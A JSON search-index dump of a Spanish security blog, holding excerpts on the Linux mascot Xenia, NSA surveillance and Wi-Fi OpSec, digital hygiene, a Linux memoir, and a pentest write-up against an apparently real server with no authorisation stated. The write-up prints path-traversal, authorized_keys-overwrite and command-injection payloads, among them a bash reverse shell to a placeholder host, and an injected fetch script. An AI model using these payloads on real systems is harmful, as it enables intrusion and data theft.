tampoco puede dejar de crear. Supongo que ambas cosas son parte del mismo bug sin parchear, aunque otros lo llaman simplemente cultura. — Dust\nAntes del zorro: qué es GNU/Linux y por qué importa Tux, el pingüino de Linux, junto al ñu de GNU Tux y el ñu de GNU: las dos mitades de un sistema operativo libre. Arte bajo dominio público.\nPara entender a LinuxFox hay que entender el mundo donde nació. Linux no es un programa: es el corazón de un sistema operativo, la pieza de software que permite que el hardware de una computadora se comunique con todo lo demás. Lo creó Linus Torvalds, un estudiante finlandés de 21 años, en 1991. Su mensaje al mundo fue desarmantemente modesto: «Estoy haciendo un sistema operativo (gratuito) (solo un hobby, no será grande y profesional como gnu)».\nPero GNU ya existía. En 1983, el programador estadounidense Richard Stallman había lanzado el Proyecto GNU (un acrónimo recursivo: «GNU’s Not Unix», GNU No es Unix) con una misión ética radical: crear un sistema operativo completamente libre que cualquiera pudiera usar, estudiar, modificar y compartir. Stallman fundó la Free Software Foundation (FSF) en 1985 y definió las cuatro libertades del software libre: la libertad de ejecutar el programa para cualquier propósito (libertad 0), de estudiar cómo funciona y modificarlo (libertad 1), de redistribuir copias (libertad 2) y de distribuir copias de las versiones modificadas (libertad 3). Su célebre distinción: «libre como en libertad, no gratis como en cerveza gratis».\nPara 1992, GNU tenía compiladores, editores y herramientas, pero le faltaba un núcleo funcional. Linux aportó exactamente esa pieza. Cuando Torvalds relicenció su kernel bajo la Licencia Pública General de GNU (GPL), ambos proyectos se fusionaron en lo que técnicamente debería llamarse GNU/Linux: un sistema operativo completo, libre y gratuito que hoy impulsa desde teléfonos Android hasta el 100% de los 500 supercomputadores más potentes del mundo.\nConviene señalar una distinción filosófica que resuena en toda esta historia. La FSF de Stallman entiende el software libre como un imperativo ético: el software no libre es un problema social porque niega libertades fundamentales a los usuarios. La Open Source Initiative (OSI), fundada en 1998 por Eric S. Raymond y Bruce Perens, comparte casi todo el software pero cambia el enfoque: para la OSI, el código abierto es una metodología práctica superior, no una cuestión moral. Ambas tradiciones coexisten bajo el paraguas FOSS (Free and Open Source Software), pero la tensión entre ética y pragmatismo marca toda la cultura del software libre, incluida la manera en que sus comunidades adoptan mascotas y símbolos.\nSticker de Xenia con software propietariocrédito: JF049 Xenia tiene opiniones sobre el software propietario. Sticker por JF049.\nJulio de 1996: un zorro contra un pingüino en hardware moribundo La historia de LinuxFox comienza con un concurso. A principios de 1996, la comunidad Linux debatía qué imagen representaría al sistema operativo. Linus Torvalds tenía una preferencia clara: pingüinos. En un viaje a Australia en 1993, un pingüino pequeño le había mordido el dedo en el Zoológico Nacional d","date":"2026-02-24","section":"posts","series":null,"summary":"En 1996 un artista furry dibujó un zorro en una Amiga moribunda. Perdió contra un pingüino. Fue olvidado 23 años. Cuando una artista trans lo redescubrió, el creador original bendijo su reinterpretación. Esta es la historia completa de Xenia, la mascota alternativa de Linux, contada en español por primera vez.","tags":["xenia","linux","foss","historia","furry","cultura-hacker","creative-commons","fediverso"],"title":"LinuxFox: el personaje olvidado que regresó del olvido para convertirse en Xenia","url":"/posts/xenia_linux/"},{"content":"Abstract Este análisis técnico examina las intersecciones entre la vigilancia masiva revelada por Edward Snowden en “Permanent Record”, las técnicas modernas de OpSec (Operations Security), y los vectores de ataque/evasión basados en Wi-Fi. Exploraremos la arquitectura de STELLARWIND y PRISM, las implementaciones y fallas de MAC Address Randomization, técnicas de hit-and-run Wi-Fi piggybacking para exfiltración anónima, y el análisis forense que estas técnicas deben evadir. Este documento está dirigido a profesionales de ciberseguridad, red teamers, y investigadores en privacidad digital.\nDisclaimer: Este contenido tiene fines puramente educativos e investigativos. Las técnicas descritas pueden ser ilegales en muchas jurisdicciones sin autorización explícita. El autor no asume responsabilidad por el uso indebido de esta información.\nParte I: El Panóptico Digital - Lecciones de Permanent Record 1.1 STELLARWIND: Arquitectura de Vigilancia Masiva Edward Snowden describe en “Permanent Record” cómo STELLARWIND, el programa de vigilancia masiva post-9/11 de la NSA, operaba bajo principios que parecían técnicamente imposibles hasta que él descubrió la infraestructura subyacente durante su tiempo en el “Tunnel” de Hawái.\nLa arquitectura de STELLARWIND se basaba en tres pilares tecnológicos fundamentales:\nPillar 1: Upstream Collection Intercepción directa del tráfico de internet en los puntos de interconexión de redes troncales (IX Points). La NSA instaló splitters ópticos en instalaciones de telecomunicaciones (caso documentado: Room 641A en AT\u0026T San Francisco) que copiaban todo el tráfico que pasaba por esos nodos. Esto no era intercepción selectiva—era copia literal de cada paquete que atravesaba esos puntos.\nflowchart LR U[\"Origen (Usuario)\"] --\u003e|Tráfico| S[Splitter Óptico] S --\u003e|Paso directo| D[Destino] S --\u003e|Copia silenciosa| X[\"NSA Storage (XKEYSCORE)\"] style X fill:#1a1a2e,stroke:#e63946,color:#eeePillar 2: PRISM - Direct Access to Corporate Infrastructure Según los documentos filtrados por Snowden, PRISM permitía acceso directo a los servidores de Microsoft, Google, Facebook, Apple, Yahoo, y otras corporaciones. Esto no requería exploits o vulnerabilidades—era acceso backend autorizado mediante órdenes FISA.\nLa implicación técnica es devastadora: el cifrado end-to-end entre cliente y servidor de Google es irrelevante si la NSA tiene acceso directo a los servidores backend donde los datos se almacenan descifrados. Tu email cifrado en tránsito está descifrado en los data centers de Google, donde PRISM tenía acceso.\nPillar 3: XKEYSCORE - Query Engine for Everything XKEYSCORE era el motor de búsqueda que Snowden describe como “Google para tráfico de internet de la NSA”. Permitía a analistas buscar en bases de datos masivas usando queries arbitrarios:\n“Dame todos los usuarios que visitaron sitio X desde país Y” “Dame todos los usuarios que usaron Tor en las últimas 48 horas” “Dame todas las comunicaciones que contienen la palabra clave Z” La potencia computacional requerida para indexar y buscar en exabytes de datos capturados diariamente es asombrosa. Snowden menciona que durante su trabajo en EPICSHELTER (disaster recovery system de la NSA), descubrió que la infraestructura de almacenamiento era órdenes de magnitud más grande de lo que cualquier propósito defensivo legítimo requeriría.\nDiagrama conceptual de cómo STELLARWIND combinaba upstream collection, PRISM, y XKEYSCORE para crear un sistema de vigilancia total.\n1.2 Metadatos: El Poder de lo “Insignificante” Uno de los conceptos más críticos que Snowden enfatiza es la potencia de los metadatos. La NSA defendía sus programas argumentando que “solo recolectamos metadatos, no contenido”. Esta afirmación es técnicamente cierta pero profundamente engañosa.\nLos metadatos de comunicaciones revelan:\nQuién se comunica con quién (análisis de grafo social) Cuándo y con qué frecuencia (patrones temporales) Desde dónde (geolocalización vía IP, torres celulares, Wi-Fi) Qué tipo de dispositivo (fingerprinting de User-Agent, OS, hardware) Duración de comunicaciones (llamadas, sesiones web) El ex-director de la NSA, Michael Hayden, admitió públicamente: “We kill people based on metadata.” No es hipérbole. El programa de drones estadounidense utilizaba análisis de metadatos telefónicos para identificar objetivos—si tu teléfono estaba frecuentemente cerca del teléfono de un sospechoso, eras marcado como asociado.\nEjemplo técnico de power of metadata:\nSupongamos que la NSA solo tiene estos metadatos de tus comunicaciones (sin contenido):\nTimestamp: 2026-02-01 09:15:32 Source IP: 198.51.100.45 (tu casa) Dest IP: 203.0.113.89 (Planned Parenthood clinic website) Duration: 847 seconds Protocol: HTTPS (443) Bytes transferred: 2.3 MB Timestamp: 2026-02-01 14:23:17 Source IP: 198.51.100.45 Dest IP: 192.0.2.156 (Abortion rights legal service) Duration: 1243 seconds Protocol: HTTPS (443) Bytes transferred: 874 KB Timestamp: 2026-02-03 11:05:09 Cell tower: ID 0x4A2B (near abortion clinic physical address) Device IMEI: 356938035643809 (tu teléfono) Duration at location: 3.5 hours Sin leer una sola palabra de contenido, la NSA puede inferir con alta probabilidad que:\nEstás considerando un aborto Consultaste recursos legales Visitaste físicamente una clínica Esta es la diferencia entre vigilancia dirigida y vigilancia masiva: no necesitan saber que eres un objetivo específico antes de recolectar tus datos. Recolectan TODO, y luego buscan patrones retrospectivamente.\n1.3 Location Tracking via Wi-Fi: El Caso que Snowden Menciona Snowden dedica atención especial a cómo los servicios de ubicación modernos funcionan. Google y otras compañías crearon bases de datos globales de Access Points (APs) Wi-Fi mapeados a coordenadas GPS mediante wardriving masivo (Google Street View cars escaneaban Wi-Fi mientras fotografiaban calles).\nEl problema de privacidad:\nTu teléfono, aunque tenga GPS desactivado, continuamente escanea Wi-Fi buscando redes conocidas. Estas probe requests contienen la lista de SSIDs que tu dispositivo “recuerda”. Si tu teléfono busca “CasaJuan_WiFi” y “Starbucks_Central”, cualquier observador puede:\nVer qué redes conoces (inferir dónde vives, trabajas, frecuentas) Triangular tu ubicación actual sin GPS—si ven las APs A, B, C con intensidades X, Y, Z, saben exactamente dónde estás Esto es lo que Snowden llama “turning your device into a tracking beacon”. No es paranoia cuando documentos clasificados de GCHQ (agencia británica) revelan programas como “KARMA POLICE” que hacen exactamente esto—rastrear movimientos de personas mediante scanning pasivo de sus probe requests Wi-Fi.\nflowchart TD Dev[\"Dispositivo\\n(GPS desactivado)\"] Dev --\u003e|\"Probe: 'CasaJuan_WiFi' · RSSI -45 dBm\"| AP1[AP A] Dev --\u003e|\"Probe: 'Starbucks_Central' · RSSI -72 dBm\"| AP2[AP B] Dev --\u003e|\"Probe: 'GymDowntown' · RSSI -68 dBm\"| AP3[AP C] AP1 \u0026 AP2 \u0026 AP3 --\u003e T[\"Triangulación → Ubicación exacta\\nsin necesidad de GPS\"] style T fill:#e63946,color:#fffCómo la combinación de SSID probe requests y RSSI (signal strength) permite triangulación precisa sin GPS.\nParte II: MAC Address Randomization - Teoría vs Realidad 2.1 El Problema Fundamental: Identificadores Permanentes Cada interfaz de red tiene una dirección MAC (Media Access Control) única de 48 bits, asignada por el fabricante. Tradicionalmente, esta dirección es permanente y globalmente única. El formato es:\nXX:XX:XX:YY:YY:YY │ │ OUI NIC-specific (Vendor)(Dispositivo único) Los primeros 24 bits (OUI - Organizationally Unique Identifier) identifican al fabricante. Los últimos 24 bits son asignados por el fabricante para hacer la dirección globalmente única. Ejemplo:\nAC:DE:48:00:11:22 │ └─ OUI: AC:DE:48 = TP-Link Technologies Co. Por qué es un problema de privacidad:\nSi tu laptop con MAC AC:DE:48:00:11:22 se conecta a:\nWi-Fi del aeropuerto el lunes Starbucks el martes Hotel el miércoles Conferencia el jueves Cada uno de esos lugares ahora puede:\nRastrearte a través de visitas futuras Vender/compartir esos datos ","date":"2026-02-08","section":"posts","series":null,"summary":"Análisis técnico de la vigilancia masiva de Permanent Record (STELLARWIND, PRISM), OpSec moderna y vectores Wi-Fi: MAC randomization y sus fallas, piggybacking para exfiltración anónima, y el forense que estas técnicas deben evadir.","tags":["opsec","wifi-security","mac-randomization","surveillance","nsa","snowden","exfiltration","anonymity","wardriving"],"title":"Vigilancia Permanente: OpSec Avanzado, Evasión Wi-Fi y Lecciones de STELLARWIND","url":"/posts/vigilancia-masiva/"},{"content":" “En el papel, la vulnerabilidad existe. En la infraestructura, la complejidad del entorno dicta si es explotable o no.”\nFecha: 05 de Febrero de 2026 Objetivo: xx.xxx.37.24 (ESP Image Server - Python/Uvicorn) Resultado: Vulnerabilidades confirmadas, explotación fallida Lección aprendida: El pentesting real no siempre termina con una shell 🎯 El Contexto: Cuando La Infraestructura Te Reta Este no fue un CTF común donde sabes que hay una solución elegante esperándote. Esto fue una infraestructura real, un servidor a priori vulnerable, y que resultó ser mucho más resiliente de lo que esperaba.\nEl objetivo era simple en papel: una API REST construida en Python (FastAPI/Uvicorn) que manejaba la generación de imágenes para dispositivos ESP32. Swagger UI expuesto, múltiples endpoints, y la promesa de vulnerabilidades esperando ser explotadas.\nDespués de más de seis horas de trabajo intenso, múltiples vectores de ataque probados sistemáticamente, y docenas de payloads cuidadosamente crafteados, me encontré en una situación que todo pentester experimenta pero pocos admiten abiertamente: tenía las vulnerabilidades confirmadas frente a mí, pero no podía convertirlas en acceso real al sistema.\nEsta es la historia de ese proceso, de las técnicas que funcionaron para descubrir pero fallaron para explotar, y de por qué a veces el mejor hallazgo es entender tus propias limitaciones.\n🔍 Fase 1: Reconocimiento — El Mapa del Territorio Enumeración Inicial El escaneo con Nmap reveló un panorama interesante: múltiples servicios corriendo en puertos estándar y no estándar, infraestructura Cloudron en puertos web tradicionales, servicios de email configurados, y lo más tentador: el puerto 8000 ejecutando Uvicorn.\n# Fragmento del escaneo 25/open/tcp//smtp/// 80/open/tcp//http//nginx/ 443/open/tcp//ssl|http//nginx/ 465/open/tcp//ssl|smtp/// 587/open/tcp//smtp/// 993/open/tcp//imaps?/// 995/open/tcp//pop3s?/// 8000/open/tcp//http-alt//uvicorn/ 30000-31337/open/tcp//filtered/// La presencia de Cloudron en los puertos estándar era interesante pero poco prometedora debido a Cloudflare en frente. Los servicios de email podrían tener potencial. Pero el puerto 8000 gritaba “atácame primero”.\nEl Descubrimiento: Swagger UI Expuesto Navegar a http://xx.xxx.37.24:8000/docs fue como encontrar los planos arquitectónicos de un edificio que planeas infiltrar. Ahí estaba todo: documentación completa de la API, esquemas de datos, ejemplos de requests, endpoints críticos completamente mapeados.\nLos endpoints que llamaron mi atención inmediatamente fueron tres:\nPOST /upload — Subida de archivos arbitrarios. El primer pensamiento obvio: ¿puedo subir un webshell? ¿Hay validación de tipo de archivo? ¿Dónde se guardan los archivos subidos?\nPOST /set-config — Configuración del servidor. Cualquier endpoint que modifica configuración es potencialmente peligroso. ¿Acepta JSON? ¿Valida el input? ¿Qué parámetros controla?\nPOST /generate — Generación de archivos binarios. Procesos que generan código o archivos son notoriamente difíciles de asegurar. ¿Qué librerías usa? ¿Hay inyección de plantillas? ¿Escapan las variables correctamente?\nFuga de Información: El Regalo Inesperado Probar el endpoint /set-config con payloads básicos reveló algo que no debería estar visible: el código HTML completo del panel de administración, incluyendo rutas absolutas del sistema de archivos.\nError: cannot process file at '/home/prox/holi/uploads/test.png' Ahí estaba todo lo que necesitaba saber para construir mis ataques: usuario del sistema (prox), estructura de directorios (/home/prox/holi/), y confirmación de que la aplicación procesaba archivos en una ubicación predecible.\nEste tipo de fuga de información es exactamente lo que buscas en la fase de reconocimiento. No es la vulnerabilidad final, pero es el mapa que te dice dónde buscar.\n🗡️ Fase 2: Confirmación de Vulnerabilidades — La Teoría Funciona Path Traversal: La Vulnerabilidad Clásica El endpoint /generate aceptaba un parámetro image_file que supuestamente debía apuntar a una imagen en el directorio de uploads. La pregunta obvia: ¿qué pasa si le doy una ruta que sale de ese directorio?\nPOST /generate { \"image_file\": \"../../../../etc/passwd\" } La respuesta del servidor fue reveladora:\nError: cannot identify image file '/home/prox/holi/uploads/../../../../etc/passwd' Esto confirmaba tres cosas críticas. Primero, el servidor procesaba la secuencia ../ sin sanitización, permitiendo path traversal. Segundo, el archivo /etc/passwd existía y el servidor intentó accederlo (si no existiera, el error sería diferente). Tercero, había una librería gráfica (probablemente Pillow) intentando procesar el archivo como imagen, lo cual fallaba porque es texto plano.\nEsta es una vulnerabilidad de manual: Local File Inclusion confirmada. En teoría, esto debería permitir leer archivos arbitrarios del sistema. En práctica, la librería gráfica se interpone entre nosotros y la exfiltración de datos.\nUpload Overwrite: Escritura Arbitraria El endpoint /upload era aún más permisivo. Aceptaba un parámetro filename que controlaba dónde se guardaba el archivo subido. Probando con path traversal:\nPOST /upload filename=../../.ssh/authorized_keys [archivo con llave SSH pública] El servidor procesaba la request sin errores. El archivo se escribía. No había validación de la ruta de destino. Esto significa escritura arbitraria en cualquier ubicación del filesystem accesible por el usuario prox.\nEn la teoría del pentesting, esto es crítico: si puedes escribir archivos arbitrarios, puedes modificar configuraciones, sobrescribir código fuente, plantar backdoors, incluso modificar archivos del sistema si los permisos lo permiten.\nCommand Injection: El Espejismo El parámetro array_name en /generate se usaba para nombrar variables en el código C generado. Probé todos los payloads clásicos de command injection:\n# Intentos con diferentes shells y técnicas de bypass test; bash -c 'bash -i \u003e\u0026 /dev/tcp/[mi-ip]/4444 0\u003e\u00261' test;sleep${IFS}10; test';sleep${IFS}10;' test\";sleep${IFS}10;\" test`sleep 10` test$(sleep 10) Todos resultaban en el mismo error: Internal Server Error 500. El servidor crasheaba, pero no ejecutaba los comandos. Las respuestas llegaban instantáneamente, sin delays, confirmando que sleep nunca se ejecutó.\nEsto apuntaba a un patrón específico de implementación: el backend probablemente usaba subprocess.run() con lista de argumentos en lugar de os.system() con string concatenado. La diferencia es fundamental.\nEn os.system(\"comando \" + input_usuario), el shell interpreta todo el string, haciendo que caracteres como ; funcionen como separadores de comandos. Es vulnerable por diseño.\nEn subprocess.run([\"comando\", input_usuario]), cada elemento de la lista es un argumento separado. El punto y coma se pasa literalmente como texto al comando, no como separador. Esto neutraliza la inyección clásica.\nEra una implementación defensiva accidental: no estaban sanitizando el input, pero el diseño del código evitaba la ejecución.\n💀 Fase 3: Intentos de Explotación — Cuando la Realidad No Coopera Intento 1: SSH Key Injection Con la capacidad de escribir archivos arbitrarios, la ruta obvia era comprometer SSH. Generé un par de llaves, subí la pública a .ssh/authorized_keys del usuario prox, y intenté conectarme.\nssh -i id_rsa prox@xx.xxx.37.24 El servidor pedía password. SSH ignoraba completamente mi llave. Esto sugería uno de varios problemas: permisos incorrectos en el archivo o directorio (SSH es extremadamente estricto con esto), el archivo no se escribió en la ubicación correcta, o SSH estaba configurado para deshabilitar autenticación por llaves.\nRevisar esto requeriría acceso al servidor para ver logs y permisos, lo cual era exactamente lo que no tenía.\nIntento 2: Template Injection / HTML Overwrite Si no podía entrar por SSH, tal vez podía modificar la aplicación web directamente. Sobrescribí archivos en el directorio templates/ con HTML malicioso:\n\u003c!-- index.html modificado --\u003e \u003cscript\u003e fetch('http://[mi-","date":"2026-02-05","section":"posts","series":null,"summary":" “En el papel, la vulnerabilidad existe. En la infraestructura, la complejidad del entorno dicta si es explotable o no.”\nFecha: 05 de Febrero de 2026 Objetivo: xx.xxx.37.24 (ESP Image Server - Python/Uvicorn) Resultado: Vulnerabilidades confirmadas, explotación fallida Lección aprendida: El pentesting real no siempre termina con una shell 🎯 El Contexto: Cuando La Infraestructura Te Reta Este no fue un CTF común donde sabes que hay una solución elegante esperándote. Esto fue una infraestructura real, un servidor a priori vulnerable, y que resultó ser mucho más resiliente de lo que esperaba.\n","tags":["pentesting","web-security","python","lfi","path-traversal","command-injection","ctf","learning"],"title":"Cuando las Vulnerabilidades Existen Pero No Se Dejan Explotar: Una Lección de Humildad Técnica","url":"/posts/pentest-teorico-vs-practico/"},{"content":"La Cuerda Floja: El Sesgo del Fumador Digital Existe una paradoja curiosa en cómo nos relacionamos con el peligro invisible. El fumador sabe que cada cigarrillo daña sus pulmones, pero el daño es acumulativo, silencioso, y ocurre en un futuro que parece lejano. Entonces fuma hoy, prometiendo dejarlo mañana. Lo mismo ocurre con nuestra seguridad digital: sabemos que las estafas existen, que nuestras cuentas pueden ser hackeadas, que nuestros datos tienen valor en el mercado negro… pero hasta que no nos pasa algo concreto, seguimos usando “123456” como contraseña o haciendo clic en cualquier enlace que nos llega por WhatsApp.\nLa diferencia fundamental entre la seguridad física y la digital reside precisamente en esa cualidad: la tangibilidad. Cuando cerramos la puerta de nuestra casa con llave, escuchamos el clic del pestillo. Vemos el candado en la reja. Sentimos el peso de nuestras pertenencias cuando las cargamos. Pero, ¿dónde está nuestra identidad digital? ¿Dónde vive nuestro dinero cuando hacemos una transferencia? ¿Cómo se ve un ataque informático antes de que sea demasiado tarde?\nEn la tradición alquímica, existía un proceso fundamental conocido como solve et coagula: disolver y coagular, descomponer para luego reconstruir en una forma más pura. Los alquimistas entendían que la transformación genuina no era instantánea ni mágica, sino el resultado de ciclos repetidos de purificación, donde cada iteración eliminaba más impurezas hasta revelar la esencia dorada oculta bajo capas de metal común.\nLa ciberseguridad funciona de manera idéntica: no es un estado final que alcanzas comprando un antivirus o activando la autenticación de dos factores una sola vez. Es un proceso continuo de destilación, de pequeños hábitos que, sumados en el tiempo, transmutan tu vulnerabilidad en fortaleza. No se trata de alcanzar una perfección imposible, sino de refinar constantemente tus prácticas digitales hasta que la seguridad se vuelva tan natural como cerrar la puerta de tu casa al salir.\nEste post no busca alarmarte sino empoderarte. No se trata de volverse paranoico, sino de desarrollar una ciudadanía digital consciente, del mismo modo que aprendiste a mirar a ambos lados antes de cruzar la calle. El Laboratorio Digital: Herramientas de Transmutación En la alquimia medieval, el laboratorio no era simplemente un lugar físico sino un espacio simbólico de transformación interior. Cada herramienta tenía su propósito: el alambique para destilar, el crisol para fundir, la retorta para sublimar. Así como los alquimistas seleccionaban cuidadosamente sus instrumentos según la obra que realizaban, tú también necesitas construir tu propio conjunto de herramientas digitales que transformen tu vulnerabilidad en protección activa.\nLa Llave Maestra: Gestores de Contraseñas Imagina que tienes cincuenta cerraduras diferentes en tu casa, cada una con su propia llave única de diseño complejo, y que debes recordar el patrón exacto de cada una. Imposible, ¿verdad? Por eso terminamos usando la misma llave (contraseña) para todo, o peor aún, dejamos una copia bajo el felpudo con variaciones mínimas: “Casa123”, “Casa2023”, “CasaSegura!”.\nUn gestor de contraseñas como Bitwarden (gratuito y de código abierto) o KeePassXC (totalmente offline para quienes no confían en la nube) es exactamente lo que su nombre indica: una bóveda maestra donde guardas todas tus llaves. Tú solo necesitas recordar una contraseña fuerte—tu llave maestra—y el gestor se encarga del resto.\n¿Cómo funciona en la práctica?\nCuando creas una cuenta nueva en cualquier sitio web, el gestor genera automáticamente una contraseña única de veinte o más caracteres aleatorios, algo como X7#mK9$pL2@nQ5vR8wT. Tú nunca la ves ni necesitas recordarla. Cuando vuelves a ese sitio, el gestor la rellena automáticamente. Si hackers roban la base de datos de ese sitio, tus contraseñas del banco, correo o redes sociales permanecen completamente a salvo porque son radicalmente diferentes.\nLa interfaz de Bitwarden es simple e intuitiva. Cada entrada guarda el sitio web, usuario y contraseña generada automáticamente.\nTu primer acto de transmutación: Instala Bitwarden o KeePassXC hoy mismo. Tienen apps móviles, extensiones de navegador y versión de escritorio. Empieza cambiando las contraseñas de tus tres cuentas más importantes: correo principal, banco y red social favorita. Una contraseña a la vez. No necesitas hacerlo todo en un día. La perfección es enemiga del progreso. La Rotación de las Llaves Críticas\nAquí viene una verdad incómoda que muchos expertos en seguridad evitan mencionar porque suena tedioso: las contraseñas de tus cuentas más críticas deberían rotarse periódicamente, incluso si usas un gestor y son contraseñas fuertes. ¿Por qué? Porque las filtraciones de datos ocurren constantemente en servidores que ni siquiera sabías que tenían tu información, y a veces pasan meses antes de que salgan a la luz pública.\nPara tus cuentas críticas—banco, correo principal, plataforma de trabajo, servicios financieros, cuentas de gobierno—establece un calendario de rotación trimestral. Cada tres meses, dedica quince minutos a generar nuevas contraseñas para estas cuentas. Tu gestor de contraseñas lo hace trivial: simplemente le pides que genere una nueva, la copias, vas al sitio web, cambias la contraseña, y listo. El gestor actualiza automáticamente su registro.\nEsto no es paranoia. Es el equivalente digital de cambiar las cerraduras de tu casa después de perder las llaves. Incluso si nadie las encontró, el simple hecho de que existiera la posibilidad justifica el pequeño esfuerzo preventivo. En el mundo digital, tus “llaves” pueden copiarse sin que tú lo notes—de ahí la rotación preventiva.\nNo confundas “rotar contraseñas críticas cada tres meses” con “cambiar todas tus contraseñas constantemente”. Eso es imposible de mantener y contraproducente. Enfoca tu energía solo en las cinco a diez cuentas que realmente importan: aquellas que, si fueran comprometidas, te causarían daño financiero o personal significativo. Las Máscaras de Identidad: Alias de Correo Electrónico En el carnaval veneciano, las máscaras permitían a las personas moverse con libertad sin revelar su verdadera identidad. En el mundo digital, servicios como SimpleLogin o AnonAddy cumplen exactamente esa función ceremonial de protección.\nPiénsalo así: tu correo real—digamos maria.gonzalez@gmail.com—es tu domicilio permanente. Cada vez que te registras en una tienda online, un foro, una newsletter o una promoción, les estás dando la dirección exacta de tu casa. Cuando alguna de esas empresas sufre un hackeo, filtra tu correo o te vende a spammers, todos tienen tu dirección real y pueden cruzarla con otras bases de datos para construir un perfil completo de quién eres.\nCon un alias de correo, creas direcciones desechables para cada servicio:\nnetflix-8f2d@aleeas.com para Netflix tienda-ropa-2k9@aleeas.com para esa tienda de ropa que encontraste en Instagram newsletter-tech-m3p@aleeas.com para la newsletter de tecnología Nota sobre proveedores: SimpleLogin fue adquirido por Proton (los creadores de ProtonMail) y mantiene su plan gratuito. AnonAddy cambió su nombre a addy.io en 2023—si buscas el nombre antiguo, ya no encontrarás el sitio. Todos los correos llegan igualmente a tu bandeja real, pero ahora tienes control. Si empiezas a recibir spam en tienda-ropa-2k9, sabes exactamente quién filtró o vendió tus datos, y puedes desactivar solo ese alias sin cambiar tu correo verdadero ni avisar a todos tus contactos.\nTus alias actúan como máscaras: todos los correos llegan a tu bandeja real, pero el remitente nunca conoce tu dirección verdadera.\nUsa tu correo real solamente para servicios críticos: banco, gobierno, salud, impuestos. Para absolutamente todo lo demás, usa alias. Es como no dar tu número de teléfono personal a cualquier vendedor en la calle, sino una línea desechable que puedes cortar cuando quieras. Los Guardianes del Umbral: Navegadores y Extensiones Cada vez que naveg","date":"2026-02-02","section":"posts","series":null,"summary":"La Cuerda Floja: El Sesgo del Fumador Digital Existe una paradoja curiosa en cómo nos relacionamos con el peligro invisible. El fumador sabe que cada cigarrillo daña sus pulmones, pero el daño es acumulativo, silencioso, y ocurre en un futuro que parece lejano. Entonces fuma hoy, prometiendo dejarlo mañana. Lo mismo ocurre con nuestra seguridad digital: sabemos que las estafas existen, que nuestras cuentas pueden ser hackeadas, que nuestros datos tienen valor en el mercado negro… pero hasta que no nos pasa algo concreto, seguimos usando “123456” como contraseña o haciendo clic en cualquier enlace que nos llega por WhatsApp.\n","tags":["ciberseguridad","privacidad","gestores-de-contraseñas","phishing","opsec","hygiene-digital","windows","linux","android"],"title":"La Transmutación Digital: Del Plomo de la Vulnerabilidad al Oro de la Fortaleza","url":"/posts/transmutacion-digital/"},{"content":" “[[transmutacion-digital|Solve et coagula]]” — Axioma alquímico: disolver lo viejo para cristalizar lo nuevo.\nFecha: 02 de Febrero de 2026\nEl debate entre Windows y Linux suele ser circular, pasional y, a menudo, poco productivo. Ambos bandos esgrimen argumentos técnicos mientras ignoran el elefante en la habitación: que la mayoría de nuestras preferencias tecnológicas no son racionales, sino viscerales. Son el producto de años de condicionamiento, de caminos de menor resistencia, de inercias heredadas.\nNo escribo esto para convencer a nadie de abandonar su sistema operativo, ni para avivar guerras santas tecnológicas. Escribo esto como una bitácora de iniciado de mi propia transformación: de un adolescente que optimizaba registros en Windows 7 para exprimir 5 FPS más, a un profesional de la ciberseguridad que encontró en Linux no solo un sistema operativo, sino una filosofía de trabajo, una herramienta que respeta mi agencia.\nHoy, en pleno 2026, mi veredicto es claro: para mi perfil técnico, creativo y profesional, Linux ha dejado de ser una alternativa exótica para convertirse en el estándar que define mi flujo de trabajo. Esta es mi historia, con sus fracasos, revelaciones y el doloroso proceso de desaprender para volver a aprender.\n🪟 El Espejismo de la Comodidad: La Era Windows (1998-2016) Los Primeros Pasos: Windows como Puerta de Entrada Mi viaje comenzó como el de muchos de mi generación: Windows 98 y el salto cuántico a Windows 7. Inconscientemente me salté las “ovejas negras” del ecosistema Microsoft (XP con sus vulnerabilidades legendarias, Vista con su torpeza proverbial), y mis recuerdos de esa época están teñidos de una nostalgia agridulce.\nPasar de emular una Sega Genesis en mi vieja máquina a correr emuladores de PS1 y PS2, jugar Counter-Strike, los primeros Call of Duty… se sentía como magia pura. Para un adolescente con recursos limitados, Windows 7 era el universo entero contenido en una notebook compaq con 2GB de RAM.\nLa Falsa Sensación de Control Sin embargo, esa magia tenía un costo oculto que solo entendería años después.\nCon un hardware que ya nacía obsoleto (2 núcleos, 2GB de RAM, 200GB de almacenamiento mecánico), me vi forzado a convertirme en un “mecánico de emergencia” de mi propio entorno. Pasaba tardes enteras haciendo lo que en ese entonces creía que era “optimización”:\nEditando el registro de Windows con guías de dudosa procedencia de foros en español Creando scripts .bat para liberar memoria RAM (que probablemente no hacían nada) Ajustando planes de energía que en teoría daban más rendimiento Probando “optimizadores” propietarios que prometían el oro y el moro Recuerdo especialmente uno de Razer (Cortex, creo) que literalmente mataba el explorador de Windows, dejándote con un fondo negro estático y solo la aplicación activa en pantalla. Era brutal, primitivo, y efectivo… para ganar 3-5 FPS en juegos que ya corrían a 20.\nEn retrospectiva, estaba luchando contra el sistema, no trabajando con él. Era como intentar hacer que un caballo cojo ganara una carrera cambiándole las herraduras cada hora.\nEl Primer Encuentro con Linux: Rechazo y Frustración Durante esa época, en los rincones oscuros de internet, empecé a escuchar rumores, casi mitos urbanos, sobre algo llamado Linux:\nEra gratis (en un mundo donde pirateaba todo, esto no me impresionaba) Velaba por la “libertad” (concepto abstracto para mi yo de 15 años) Era “más rápido y eficiente” (esto sí llamaba mi atención) Motivado por la curiosidad y la desesperación de mi hardware limitado, decidí probar. Bajé ISOs de Ubuntu, Puppy Linux, Lubuntu y algunas otras distribuciones que ya no recuerdo.\nEl resultado fue desastroso.\nRompí el arranque (GRUB) más veces de las que puedo contar. Aprendí a la fuerza sobre la BIOS, sobre particiones, sobre el MBR vs GPT, sobre cómo formatear una PC desde cero (algo que luego me haría gracia cuando veía “técnicos” cobrar 20-30 dólares por hacer exactamente eso).\nPero cada intento terminaba en frustración:\nLinux se sentía más lento que Windows 7 en mi hardware (probablemente por drivers mal configurados o falta de aceleración gráfica) La interfaz era confusa, abstracta, fea No podía jugar a nada (o no sabía cómo hacerlo) No tenía ni idea de qué hacer con la terminal negra que me miraba amenazante La conclusión de mi yo de 15 años fue tajante:\n“Linux es una basura. Es para nerds que tienen tiempo de sobra. Yo solo quiero que las cosas funcionen.”\nVolví a Windows porque era lo que conocía. Era predecible. Era cómodo. Me sentía seguro en mi jaula dorada, sin darme cuenta de que las rejas estaban hechas de mi propia ignorancia.\nLa Zona de Confort: Windows 10 y el Estancamiento Años después, finalmente pude armarme una PC de escritorio. Era hardware algo obsoleto para su época (2015-2016), pero comparado con mi máquina anterior, era un Ferrari. Podía jugar, programar, hacer lo que quisiera sin las 